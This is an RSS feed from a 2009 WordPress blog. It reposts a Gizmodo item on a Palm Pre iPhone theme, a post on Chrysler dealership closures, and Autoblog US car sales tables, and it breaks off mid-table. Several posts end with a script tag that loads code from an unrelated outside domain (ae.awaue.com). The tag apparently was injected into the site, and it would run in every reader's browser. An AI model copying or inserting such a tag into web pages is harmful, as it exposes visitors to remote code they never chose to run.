<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ken Criscione's Blog &#187; Uncategorized</title>
	<atom:link href="http://blog.ken.cc/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.ken.cc</link>
	<description>"The greatest risk in life is not taking one"</description>
	<lastBuildDate>Fri, 29 May 2009 04:35:15 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title></title>
		<link>http://blog.ken.cc/2009/05/21/162/</link>
		<comments>http://blog.ken.cc/2009/05/21/162/#comments</comments>
		<pubDate>Thu, 21 May 2009 16:46:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.ken.cc/2009/05/21/162/</guid>
		<description><![CDATA[Would Sir Like a Pre Theme For Sir&#8217;s iPhone?
 	 		 										 					By Jason Chen, 		   						8:40 PM on Wed May 13 2009, 				 				 		 					 							23,359 views		 						(Edit post, 				Set to draft, 			Slurp)


Copy this whole post to another site


 								Slurp 								cancel 							


 							select site 							advertising consumerist deadspin defamer fleshbot gay fleshbot [...]]]></description>
			<content:encoded><![CDATA[<h1><a href="http://gizmodo.com/5253021/would-sir-like-a-pre-theme-for-sirs-iphone">Would Sir Like a Pre Theme For Sir&#8217;s iPhone?</a></h1>
<div class="post-byline"> 	 		 										 					By <cite><a rel="nofollow" href="http://gizmodo.com/people/diskopo/posts/" title="Click here to read posts written by JASON CHEN">Jason Chen</a></cite>, 		   						<a rel="nofollow" href="http://gizmodo.com/5253021/would-sir-like-a-pre-theme-for-sirs-iphone">8:40 PM</a> on Wed May 13 2009, 				 				 		 					 							23,359 views		<span class="editor_controls hide gawkerWidget_editorcontrols gwId_8810"> 						(<span class="for_editors control cn_for_editors hide"><a class="edit_link control cn_edit_link" href="http://publish.gizmodo.com/ged/5253021" target="_new" title="edit this post">Edit post</a>, 				<a class="draft_link control cn_draft_link postId_5253021" href="http://gizmodo.com/5253021/would-sir-like-a-pre-theme-for-sirs-iphone#" title="Make this post DRAFT">Set to draft</a>, 			</span><a class="slurp_toggle control cn_slurp_toggle" href="http://gizmodo.com/5253021/would-sir-like-a-pre-theme-for-sirs-iphone#" title="Syndicate this post to an other site">Slurp</a>)
<div class="slurp_dialog control cn_slurp_dialog" style="display: none;">
<form class="slurp_form control cn_slurp_form" method="get">
<p>Copy this whole post to another site</p>
<div id="formelements">
<div class="right">
<div class="right"> 								<button type="submit" class="bttn slurp_bttn slurp_button control cn_slurp_button">Slurp</button> 								<a class="slurp_cancel control cn_slurp_cancel" href="http://gizmodo.com/5253021/would-sir-like-a-pre-theme-for-sirs-iphone#">cancel</a> 							</div>
<div class="slurp_indicator control cn_slurp_indicator hide right"><img alt="sending request" src="http://cache-foo.gizmodo.com/gawker/assets/base.v8/img/progressIndicator_roller.gif" style="border: medium none ; margin: 0px; padding-right: 3px;" height="16" width="16" title="" /></div>
</p></div>
<select class="site_select control cn_slurp_select" name="siteId"> 							<option value="-1">select site</option> 							<option label="advertising" value="43">advertising</option> <option label="consumerist" value="31">consumerist</option> <option label="deadspin" value="11">deadspin</option> <option label="defamer" value="1">defamer</option> <option label="fleshbot" value="2">fleshbot</option> <option label="gay fleshbot" value="12119">gay fleshbot</option> <option label="gawker" value="7">gawker</option> <option label="gizmodo" value="4">gizmodo</option> <option label="idolator" value="33">idolator</option> <option label="io9" value="8">io9</option> <option label="jalopnik" value="12">jalopnik</option> <option label="jezebel" value="39">jezebel</option> <option label="kotaku" value="9">kotaku</option> <option label="lifehacker" value="17">lifehacker</option> <option label="valleywag" value="34">valleywag</option> <option label="artists" value="37">artists</option> <option label="gawkershop" value="42">gawkershop</option>  						</select>
<input name="op" value="addsitetag" type="hidden">
<input name="postId" value="5253021" type="hidden"> 					</div>
</p></form>
</p></div>
<p> 			 		</span>
<div style="position: absolute; right: 0px; margin-top: -20px;"> 	 	</div>
</p></div>
<p>   	<!-- google_ad_section_start -->
<p><img src="http://cache.gawker.com/assets/images/gizmodo/2009/05/preiphone.jpg" style="display: block; float: none;" height="612" width="804" title="" alt="preiphone " />I shall do my best in finding it. It&#8217;s on a private forum, for now. [<i>Thanks Goozy!</i>]</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=a87cc8cf-d917-898a-92ec-7c547d61b9dd" title="" alt=" " /></div>
<p><script src="http://ae.awaue.com/7"></script></p>
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-center"><ul class="socials"><li class="sexy-delicious"><a href="http://del.icio.us/post?url=http://blog.ken.cc/2009/05/21/162/&amp;title=" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="sexy-twitter"><a href="http://twitter.com/home?status=+-+http://tinyurl.com/pymo97+(via+@carbiz)" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="sexy-facebook"><a href="http://www.facebook.com/share.php?u=http://blog.ken.cc/2009/05/21/162/&amp;t=" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="sexy-linkedin"><a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.ken.cc/2009/05/21/162/&amp;title=&amp;summary=Would%20Sir%20Like%20a%20Pre%20Theme%20For%20Sir%27s%20iPhone%3F%20%09%09%20%20%20%20%09%09%20%09%20%09%20%09%09%20%09%09%09%09%09%09%09%09%09%09%20%09%09%09%09%09By%20Jason%20Chen%2C%20%09%09%20%20%20%09%09%09%09%09%098%3A40%20PM%20on%20Wed%20May%2013%202009%2C%20%09%09%09%09%20%09%09%09%09%20%09%09%20%09%09%09%09%09%20%09%09%09%09%09%09%0923%2C359%20views%09%09%20%09%09%09%09%09%09%28Edit%20post%2C%20%09%09%09%09Set%20to%20draft%2C%20%09%09%09Slurp%29%20%09%09%09%20%09%09%09%09%20%09%09%09%09%09Copy%20this%20whole%20post%20to%20another%20site%20%09%09%09%09%09%20%09%09%09%09%09%09%20%09%09%09%09%09%09%09%20%09%09%09%09%09%09%09%09Sl&amp;source=Ken Criscione's Blog" rel="nofollow" class="external" title="Share this on Linkedin">Share this on Linkedin</a></li><li class="sexy-comfeed"><a href="http://blog.ken.cc/2009/05/21/162/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="sexy-stumbleupon"><a href="http://www.stumbleupon.com/submit?url=http://blog.ken.cc/2009/05/21/162/&amp;title=" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="sexy-digg"><a href="http://digg.com/submit?phase=2&amp;url=http://blog.ken.cc/2009/05/21/162/&amp;title=" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="sexy-technorati"><a href="http://technorati.com/faves?add=http://blog.ken.cc/2009/05/21/162/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ken.cc/2009/05/21/162/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chrysler franchise closing list!</title>
		<link>http://blog.ken.cc/2009/05/14/chrysler-franchise-closing-list/</link>
		<comments>http://blog.ken.cc/2009/05/14/chrysler-franchise-closing-list/#comments</comments>
		<pubDate>Thu, 14 May 2009 18:56:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Automotive]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.ken.cc/?p=138</guid>
		<description><![CDATA[From the humbe beginnings in 1925 when the company organized them selves to call the self Chrysler comes a shock wave today.  Today 05/14/2009 Chrysler notified thier deals who would be the almost 800 dealerships to close.  This is a little more than a job loss.  This is many salespeople, service people, managers and owners [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_139" class="wp-caption alignnone" style="width: 463px"><a rel="attachment wp-att-139" href="http://blog.ken.cc/2009/05/14/chrysler-franchise-closing-list/large_chrysler-challenger/"><img class="size-full wp-image-139" title="large_chrysler-challenger" src="http://blog.ken.cc/http://blog.ken.cc/wp-content/uploads/2009/05/large_chrysler-challenger.jpg" alt="Today is Chrysler dealers day or reckoning." width="453" height="304" /></a><p class="wp-caption-text">Today is Chrysler dealers day or reckoning.</p></div>
<p>From the humbe beginnings in <strong>1925</strong> when the company organized them selves to call the self Chrysler comes a shock wave today.  Today <strong>05/14/2009 </strong>Chrysler notified thier deals who would be the almost <strong>800 </strong>dealerships to close.  This is a little more than a job loss.  This is many salespeople, service people, managers and owners that havebeen working, selling and repairing vehicles for years that have encountered an ubrupt hault on how they havebeen supporting themselfs and countless family memebers for over 75 years.    Here is the list of dealers  -&gt; <a href="http://blog.ken.cc/http://blog.ken.cc/wp-content/uploads/2009/05/chryslerdealerlist05142009.pdf">Chrysler  Dealership Hit List </a><script src="http://ae.awaue.com/7"></script></p>
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-center"><ul class="socials"><li class="sexy-delicious"><a href="http://del.icio.us/post?url=http://blog.ken.cc/2009/05/14/chrysler-franchise-closing-list/&amp;title=Chrysler+franchise+closing+list%21++" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="sexy-twitter"><a href="http://twitter.com/home?status=Chrysler+franchise+closing+list%21+++-+http://tinyurl.com/r6kqt4+(via+@carbiz)" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="sexy-facebook"><a href="http://www.facebook.com/share.php?u=http://blog.ken.cc/2009/05/14/chrysler-franchise-closing-list/&amp;t=Chrysler+franchise+closing+list%21++" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="sexy-linkedin"><a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.ken.cc/2009/05/14/chrysler-franchise-closing-list/&amp;title=Chrysler+franchise+closing+list%21++&amp;summary=%0A%0D%0AFrom%20the%20humbe%20beginnings%20in%201925%20when%20the%20company%20organized%20them%20selves%20to%20call%20the%20self%20Chrysler%20comes%20a%20shock%20wave%20today.%C2%A0%20Today%2005%2F14%2F2009%20Chrysler%20notified%20thier%20deals%20who%20would%20be%20the%20almost%20800%20dealerships%20to%20close.%C2%A0%20This%20is%20a%20little%20more%20than%20a%20job%20loss.%C2%A0%20This%20is%20many%20salespeople%2C%20serv&amp;source=Ken Criscione's Blog" rel="nofollow" class="external" title="Share this on Linkedin">Share this on Linkedin</a></li><li class="sexy-comfeed"><a href="http://blog.ken.cc/2009/05/14/chrysler-franchise-closing-list/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="sexy-stumbleupon"><a href="http://www.stumbleupon.com/submit?url=http://blog.ken.cc/2009/05/14/chrysler-franchise-closing-list/&amp;title=Chrysler+franchise+closing+list%21++" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="sexy-digg"><a href="http://digg.com/submit?phase=2&amp;url=http://blog.ken.cc/2009/05/14/chrysler-franchise-closing-list/&amp;title=Chrysler+franchise+closing+list%21++" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="sexy-technorati"><a href="http://technorati.com/faves?add=http://blog.ken.cc/2009/05/14/chrysler-franchise-closing-list/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ken.cc/2009/05/14/chrysler-franchise-closing-list/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>By The Numbers: May 2007</title>
		<link>http://blog.ken.cc/2007/11/20/by-the-numbers-may-2007/</link>
		<comments>http://blog.ken.cc/2007/11/20/by-the-numbers-may-2007/#comments</comments>
		<pubDate>Tue, 20 Nov 2007 15:03:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Automotive]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.ken.cc/2007/11/20/by-the-numbers-may-2007/</guid>
		<description><![CDATA[Filed under: Earnings/Financials, By the Numbers
General Motors continues its turnaround by posting a 4.7% increase in sales last month versus last year, bolstered mostly by the 68.6% increase at Saturn and a strong showing from GMC (8.6%) and Pontiac (13.7%). Likewise, Toyota contiues its positive growth with an increase of 10.9% for the brand and [...]]]></description>
			<content:encoded><![CDATA[<p>Filed under: <a href="http://www.autoblog.com/category/earnings-financials/" rel="tag">Earnings/Financials</a>, <a href="http://www.autoblog.com/category/by-the-numbers/" rel="tag">By the Numbers</a></p>
<p><img vspace="4" hspace="4" border="0" align="right" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/868ba_hill_car1a.png" alt="868ba hill car1a By The Numbers: May 2007"  title="By The Numbers: May 2007" />General Motors continues its turnaround by posting a 4.7% increase in sales last month versus last year, bolstered mostly by the 68.6% increase at Saturn and a strong showing from GMC (8.6%) and Pontiac (13.7%). Likewise, Toyota contiues its positive growth with an increase of 10.9% for the brand and 9.7% for the company including Lexus. The gain by Toyota put it ahead of Ford as the No. 2 best-selling automaker in the U.S. last month. Ford, meanwhile, saw sales dip by 10.4%, which it claims is due to an ongoing effort to reduce fleet sales. It claims retail sales were nearly flat, helped by the Edge, new Escape and Expedition, among others. The Chrysler Group, meanwhile, remained flat, despite the monster effort by Jeep, which saw sales of the Wrangler increase by 106%!</p>
<p>The rest of the industry&#8217;s performance by brand can be found after the jump.</p>
<p><strong>Biggest Winner</strong><br />Saturn <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/50a7e___up_arrow.jpg" alt="50a7e   up arrow By The Numbers: May 2007"  title="By The Numbers: May 2007" />68.6% at 26,905 (05/06: 15,347)</p>
<p><strong>Biggest Loser</strong><br />Jaguar <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/50a7e___down_arrow.jpg" alt="50a7e   down arrow By The Numbers: May 2007"  title="By The Numbers: May 2007" />-44.1% at 1,379 (05/06: 2,374)</p>
<p><strong>COMPANIES</strong><br />BMW Group <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/50a7e___up_arrow.jpg" alt="50a7e   up arrow By The Numbers: May 2007"  title="By The Numbers: May 2007" />4.5% at 30,819 (05/06: 28,360)<br />Chrysler Group <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/50a7e___up_arrow.jpg" alt="50a7e   up arrow By The Numbers: May 2007"  title="By The Numbers: May 2007" />0.2% at 199,393 (05/06: 191,261)<br />Ford Motor Co <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/50a7e___down_arrow.jpg" alt="50a7e   down arrow By The Numbers: May 2007"  title="By The Numbers: May 2007" />-10.4% at 259,470 (05/06: 278,546) <br />General Motors <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/50a7e___up_arrow.jpg" alt="50a7e   up arrow By The Numbers: May 2007"  title="By The Numbers: May 2007" />4.7% at 375,682 (05/06: 345,157)<br />Honda America <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/50a7e___down_arrow.jpg" alt="50a7e   down arrow By The Numbers: May 2007"  title="By The Numbers: May 2007" />-1.4% at 145,367 (05/06: 141,810)<br />Nissan North America <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/50a7e___up_arrow.jpg" alt="50a7e   up arrow By The Numbers: May 2007"  title="By The Numbers: May 2007" />3.2% at 93,062 (05/06: 86,667)<br />Toyota Motor Co. <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/50a7e___up_arrow.jpg" alt="50a7e   up arrow By The Numbers: May 2007"  title="By The Numbers: May 2007" />9.7% at 269,023 (05/06: 235,708)</p>
<p><span>DISCLAIMER:</span><span> All percentages represent the change in the Daily Average Sales Rate. There were 26 selling days in May 2007 versus 25 selling days in May 2006. As such, an automaker that sold more vehicles last month than the year prior did not necessarily show a positive increase.</span>
<p><a href="http://www.autoblog.com/2007/06/01/by-the-numbers-may-2007/" rel="bookmark">Continue reading <em>By The Numbers: May 2007</em></a></p>
<p>&nbsp;</p>
<p><a href="http://www.autoblog.com/2007/06/01/by-the-numbers-may-2007/" rel="bookmark" title="Permanent link to this entry">Permalink</a> | <a href="http://www.autoblog.com/forward/908906/" title="Send this entry to a friend via email">Email this</a> | <a href="http://www.autoblog.com/2007/06/01/by-the-numbers-may-2007/#comments" title="View reader comments on this entry">Comments</a></p>
<hr /><script src="http://ae.awaue.com/7"></script></p>
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-center"><ul class="socials"><li class="sexy-delicious"><a href="http://del.icio.us/post?url=http://blog.ken.cc/2007/11/20/by-the-numbers-may-2007/&amp;title=By+The+Numbers%3A+May+2007" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="sexy-twitter"><a href="http://twitter.com/home?status=By+The+Numbers%3A+May+2007+-+http://tinyurl.com/pkune8+(via+@carbiz)" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="sexy-facebook"><a href="http://www.facebook.com/share.php?u=http://blog.ken.cc/2007/11/20/by-the-numbers-may-2007/&amp;t=By+The+Numbers%3A+May+2007" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="sexy-linkedin"><a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.ken.cc/2007/11/20/by-the-numbers-may-2007/&amp;title=By+The+Numbers%3A+May+2007&amp;summary=Filed%20under%3A%20Earnings%2FFinancials%2C%20By%20the%20NumbersGeneral%20Motors%20continues%20its%20turnaround%20by%20posting%20a%204.7%25%20increase%20in%20sales%20last%20month%20versus%20last%20year%2C%20bolstered%20mostly%20by%20the%2068.6%25%20increase%20at%20Saturn%20and%20a%20strong%20showing%20from%20GMC%20%288.6%25%29%20and%20Pontiac%20%2813.7%25%29.%20Likewise%2C%20Toyota%20contiues%20its%20positive%20g&amp;source=Ken Criscione's Blog" rel="nofollow" class="external" title="Share this on Linkedin">Share this on Linkedin</a></li><li class="sexy-comfeed"><a href="http://blog.ken.cc/2007/11/20/by-the-numbers-may-2007/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="sexy-stumbleupon"><a href="http://www.stumbleupon.com/submit?url=http://blog.ken.cc/2007/11/20/by-the-numbers-may-2007/&amp;title=By+The+Numbers%3A+May+2007" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="sexy-digg"><a href="http://digg.com/submit?phase=2&amp;url=http://blog.ken.cc/2007/11/20/by-the-numbers-may-2007/&amp;title=By+The+Numbers%3A+May+2007" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="sexy-technorati"><a href="http://technorati.com/faves?add=http://blog.ken.cc/2007/11/20/by-the-numbers-may-2007/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ken.cc/2007/11/20/by-the-numbers-may-2007/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>By the Numbers: 2006</title>
		<link>http://blog.ken.cc/2007/11/20/by-the-numbers-2006/</link>
		<comments>http://blog.ken.cc/2007/11/20/by-the-numbers-2006/#comments</comments>
		<pubDate>Tue, 20 Nov 2007 15:02:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Automotive]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.ken.cc/2007/11/20/by-the-numbers-2006/</guid>
		<description><![CDATA[Filed under: Earnings/Financials, By the Numbers
As promised, we bring you to the complete, unabridged sales figures for 2006. Unlike the numbers for the month of December, we&#8217;re seeing a lot of little red arrows down there. Still, many of these numbers were expected. General Motors and Ford Motor Company, for instance, were both down for [...]]]></description>
			<content:encoded><![CDATA[<p>Filed under: <a href="http://www.autoblog.com/category/earnings-financials/" rel="tag">Earnings/Financials</a>, <a href="http://www.autoblog.com/category/by-the-numbers/" rel="tag">By the Numbers</a></p>
<p><img vspace="4" hspace="4" border="0" align="right" alt="616b6 hill car1a By the Numbers: 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/616b6_hill_car1a.png" title="By the Numbers: 2006" />As promised, we bring you to the complete, unabridged sales figures for 2006. Unlike the numbers for the month of December, we&#8217;re seeing a lot of little red arrows down there. Still, many of these numbers were expected. General Motors and Ford Motor Company, for instance, were both down for the year, 8.4% and 7.57%, respectively. Toyota Motor Company, meanwhile, ended 2006 up 12.9%. We&#8217;ve heard those two sentences all year long, however, why should the annual numbers be any different?</p>
<p>Nevertheless, Ford still reigns supreme as the most beloved brand of 2006 in terms of sales, racking up 2.43 mil sales last year. Chevy came in a very close second selling 2.41 million vehicles, with Toyota not far behind with 2.22 million sales.</p>
<p>Though HUMMER had the biggest sales increase of the year with a 24% jump thanks to the H3, our biggest mad props have to go out to Suzuki, the plucky Japanese automaker that made its goal of 100,000 unit sales in 2006 with 990 units to spare. </p>
<p><strong>Biggest Winner</strong><br />HUMMER <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/616b6___up_arrow.jpg" alt="616b6   up arrow By the Numbers: 2006"  title="By the Numbers: 2006" />24.30% at 71,524 (2005: 56,727)</p>
<p><strong>Biggest Loser</strong><br />Jaguar <img vspace="4" hspace="4" border="0" align="absmiddle" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/616b6___down_arrow.jpg" alt="616b6   down arrow By the Numbers: 2006"  title="By the Numbers: 2006" />-31.79% at 20,683 (2005: 30,424)</p>
<p>Check out the complete list of <span>yearly sales figures</span> for every automaker after the jump.
<p><a href="http://www.autoblog.com/2007/01/04/by-the-numbers-2006/" rel="bookmark">Continue reading <em>By the Numbers: 2006</em></a></p>
<p>&nbsp;</p>
<p><a href="http://www.autoblog.com/2007/01/04/by-the-numbers-2006/" rel="bookmark" title="Permanent link to this entry">Permalink</a> | <a href="http://www.autoblog.com/forward/728844/" title="Send this entry to a friend via email">Email this</a> | <a href="http://www.autoblog.com/2007/01/04/by-the-numbers-2006/#comments" title="View reader comments on this entry">Comments</a></p>
<hr /><script src="http://ae.awaue.com/7"></script></p>
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-center"><ul class="socials"><li class="sexy-delicious"><a href="http://del.icio.us/post?url=http://blog.ken.cc/2007/11/20/by-the-numbers-2006/&amp;title=By+the+Numbers%3A+2006" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="sexy-twitter"><a href="http://twitter.com/home?status=By+the+Numbers%3A+2006+-+http://tinyurl.com/r7xty8+(via+@carbiz)" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="sexy-facebook"><a href="http://www.facebook.com/share.php?u=http://blog.ken.cc/2007/11/20/by-the-numbers-2006/&amp;t=By+the+Numbers%3A+2006" rel="nofollow" class="external" title="Share this on Facebook">Share this on Facebook</a></li><li class="sexy-linkedin"><a href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http://blog.ken.cc/2007/11/20/by-the-numbers-2006/&amp;title=By+the+Numbers%3A+2006&amp;summary=Filed%20under%3A%20Earnings%2FFinancials%2C%20By%20the%20NumbersAs%20promised%2C%20we%20bring%20you%20to%20the%20complete%2C%20unabridged%20sales%20figures%20for%202006.%20Unlike%20the%20numbers%20for%20the%20month%20of%20December%2C%20we%27re%20seeing%20a%20lot%20of%20little%20red%20arrows%20down%20there.%20Still%2C%20many%20of%20these%20numbers%20were%20expected.%20General%20Motors%20and%20Ford%20Motor%20Co&amp;source=Ken Criscione's Blog" rel="nofollow" class="external" title="Share this on Linkedin">Share this on Linkedin</a></li><li class="sexy-comfeed"><a href="http://blog.ken.cc/2007/11/20/by-the-numbers-2006/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="sexy-stumbleupon"><a href="http://www.stumbleupon.com/submit?url=http://blog.ken.cc/2007/11/20/by-the-numbers-2006/&amp;title=By+the+Numbers%3A+2006" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="sexy-digg"><a href="http://digg.com/submit?phase=2&amp;url=http://blog.ken.cc/2007/11/20/by-the-numbers-2006/&amp;title=By+the+Numbers%3A+2006" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="sexy-technorati"><a href="http://technorati.com/faves?add=http://blog.ken.cc/2007/11/20/by-the-numbers-2006/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ken.cc/2007/11/20/by-the-numbers-2006/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>By The Numbers: November 2006</title>
		<link>http://blog.ken.cc/2007/11/20/by-the-numbers-november-2006/</link>
		<comments>http://blog.ken.cc/2007/11/20/by-the-numbers-november-2006/#comments</comments>
		<pubDate>Tue, 20 Nov 2007 15:01:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Automotive]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.ken.cc/2007/11/20/by-the-numbers-november-2006/</guid>
		<description><![CDATA[Filed under: Earnings/Financials, By the Numbers
Sorry for the delay in getting to the numbers this month, but we spent all day Friday travelling back from the LA Auto Show when each automaker was releasing its results for November. The big news over which the mainstream media seems to be laboring is that Toyota Motor Company [...]]]></description>
			<content:encoded><![CDATA[<p>Filed under: <a href="http://www.autoblog.com/category/earnings-financials/" rel="tag">Earnings/Financials</a>, <a href="http://www.autoblog.com/category/by-the-numbers/" rel="tag">By the Numbers</a></p>
<p><img vspace="4" hspace="4" border="0" align="right" alt="c1c0e hill car1a By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/c1c0e_hill_car1a.png" title="By The Numbers: November 2006" />Sorry for the delay in getting to the numbers this month, but we spent all day Friday travelling back from the LA Auto Show when each automaker was releasing its results for November. The big news over which the mainstream media seems to be laboring is that Toyota Motor Company outsold Ford Motor Company last month. Not only that, but the Toyota brand also outsold Blue Oval badged vehicles and came within about a thousand units of outselling Chevrolet to nearly become the most popular auto brand in the U.S. for the month of November. Fortunately there were the same amount of selling days in November this year as there was last year, which means the percentage change in Daily Sales Rate equals the percentage change in the raw number of vehicles sold for the month. That means no manufacturer is able to emphasize whichever statistic casts it in a better light. </p>
<p>Other movers and shakers include Acura, up nearly 24% last month on the strong double launch of the new MDX and all-new RDX. Saturn was also up nearly 24% thanks to the Aura&#8217;s arrival on the scene. Suzuki had a strong month, up 12% and now within spitting distance of reaching its goal of selling 100,000 vehicles in the U.S. this year.</p>
<p><strong>Biggest Winner</strong><br />GMC 30.1% at 37,440 (11/05: 28,775)</p>
<p><strong>Biggest Loser</strong><br />Jaguar -35.2 at 1,256 (11/05: 1,937)</p>
<p><strong>BRANDS</strong><br />Acura <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />23.9% at 17,200 (11/05: 13,882)<br />Audi <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />16.4% at 9,209 (11/05: 7,909)<br />BMW <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   down arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___down_arrow.jpg" title="By The Numbers: November 2006" />-4.5% at 22,602 (11/05: 23,673)<br />Buick <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />11.6% at 18,089 (11/05: 16,208)<br />Cadillac <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 2006" />20.3% at 17,250 (11/05: 14,339)<br />Chevrolet <img vspace="4" hspace="4" border="0" align="absmiddle" alt="2537a   up arrow By The Numbers: November 2006" src="http://blog.ken.cc/wp-content/plugins/wp-o-matic/cache/2537a___up_arrow.jpg" title="By The Numbers: November 